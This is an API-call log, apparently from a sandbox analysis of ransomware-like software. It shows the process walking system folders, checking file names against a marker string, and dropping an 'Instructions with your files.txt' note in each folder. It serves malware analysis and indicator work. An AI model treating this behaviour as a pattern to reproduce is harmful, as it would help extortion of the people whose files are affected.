[0131.788] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.788] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.789] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.789] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.789] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.789] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.789] CloseHandle (hObject=0x114) returned 1
[0131.789] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.789] GetProcessHeap () returned 0x810000
[0131.789] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.789] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a0a3a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a0a3a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0
[0131.789] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\Instructions with your files.txt") returned 72
[0131.789] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.789] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.790] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.790] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.790] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.790] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.790] CloseHandle (hObject=0x110) returned 1
[0131.791] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.791] GetProcessHeap () returned 0x810000
[0131.791] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.791] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1
[0131.791] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage") returned 45
[0131.791] GetProcessHeap () returned 0x810000
[0131.791] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.791] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\*") returned 47
[0131.791] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.791] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\.") returned 47
[0131.791] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.791] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\..") returned 48
[0131.791] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0f3f3c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0f3f3c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1
[0131.791] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned 52
[0131.791] GetProcessHeap () returned 0x810000
[0131.791] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.791] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*") returned 54
[0131.791] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0f3f3c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0f3f3c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.791] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\.") returned 54
[0131.791] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0f3f3c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0f3f3c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.791] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\..") returned 55
[0131.791] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0a56660, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb0a56660, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1096020, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.791] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Instructions with your files.txt") returned 85
[0131.791] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.792] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a56660, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a56660, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1
[0131.792] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 91
[0131.792] GetProcessHeap () returned 0x810000
[0131.792] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.792] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*") returned 93
[0131.792] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a56660, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a56660, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.792] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\.") returned 93
[0131.792] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a56660, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a56660, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.792] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\..") returned 94
[0131.792] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
[0131.792] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png") returned 106
[0131.792] StrStrIW (lpFirst="background.png", lpSrch="SDfghjkl") returned 0x0
[0131.792] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7c5b0d9, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xc7c5b0d9, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xc7c5b0d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1
[0131.792] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml") returned 104
[0131.792] StrStrIW (lpFirst="behavior.xml", lpSrch="SDfghjkl") returned 0x0
[0131.792] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1
[0131.792] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned 102
[0131.792] StrStrIW (lpFirst="device.png", lpSrch="SDfghjkl") returned 0x0
[0131.792] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a56660, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb0a56660, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a56660, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.792] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Instructions with your files.txt") returned 124
[0131.792] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.792] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0a07cc, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0a07cc, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1
[0131.792] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png") returned 103
[0131.792] StrStrIW (lpFirst="overlay.png", lpSrch="SDfghjkl") returned 0x0
[0131.792] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1
[0131.792] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png") returned 104
[0131.792] StrStrIW (lpFirst="superbar.png", lpSrch="SDfghjkl") returned 0x0
[0131.792] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0
[0131.793] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Instructions with your files.txt") returned 124
[0131.793] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.793] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.794] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.794] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.794] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.794] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.794] CloseHandle (hObject=0x118) returned 1
[0131.794] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.794] GetProcessHeap () returned 0x810000
[0131.794] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.794] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a56660, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a56660, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1
[0131.794] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned 91
[0131.794] GetProcessHeap () returned 0x810000
[0131.794] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.794] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*") returned 93
[0131.794] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a56660, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a56660, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.794] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\.") returned 93
[0131.794] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a56660, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a56660, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.794] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\..") returned 94
[0131.795] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0af2f7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x9c0af2f7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x9c0af2f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
[0131.795] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned 106
[0131.795] StrStrIW (lpFirst="background.png", lpSrch="SDfghjkl") returned 0x0
[0131.795] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2feb941, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2feb941, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x769, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1
[0131.795] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml") returned 104
[0131.795] StrStrIW (lpFirst="behavior.xml", lpSrch="SDfghjkl") returned 0x0
